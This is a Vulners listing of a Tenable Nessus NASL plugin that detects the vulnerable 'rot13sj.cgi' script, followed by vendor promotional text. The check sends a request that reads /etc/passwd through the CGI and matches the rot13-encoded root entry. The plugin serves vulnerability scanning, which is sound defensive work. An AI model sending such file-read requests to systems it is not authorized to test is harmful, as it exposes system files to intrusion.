Lucene search
K

rot13sj.cgi Arbitrary File Access

🗓️ 03 Jun 2003 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 34 Views

Arbitrary commands can be executed via rot13sj.cgi, leading to potential file exposure.

Code
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

#
# Ref: http://www.geocities.com/sjefferson101010/ (link is broken)
#


include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
  script_id(11684);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_name(english:"rot13sj.cgi Arbitrary File Access");

 script_set_attribute(attribute:"synopsis", value:
"Arbitrary commands can be run on the remote server." );
 script_set_attribute(attribute:"description", value:
"The remote host is running the CGI 'rot13sj.cgi'. This CGI contains 
various flaws which may allow a user to execute arbitrary commands on 
this host and to read aribrary files." );
 script_set_attribute(attribute:"solution", value:
"Delete this CGI." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/06/03");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_summary(english:"Checks for rot13sj.cgi");
 script_category(ACT_ATTACK);  
 script_copyright(english:"This script is Copyright (C) 2003-2021 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "webmirror.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);

foreach dir (make_list(cgi_dirs()))
{ 
 r = http_send_recv3(method: "GET", item: dir + "/rot13sj.cgi?/etc/passwd", port:port);
 if (isnull(r)) exit(0);
 
 #
 # Every file is rot13-encoded
 #

 if(egrep(pattern:"ebbg:.*:0:[01]:.*", string: r[0]+r[1]+r[2]))
 {
  security_hole(port);
  exit(0);
 }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation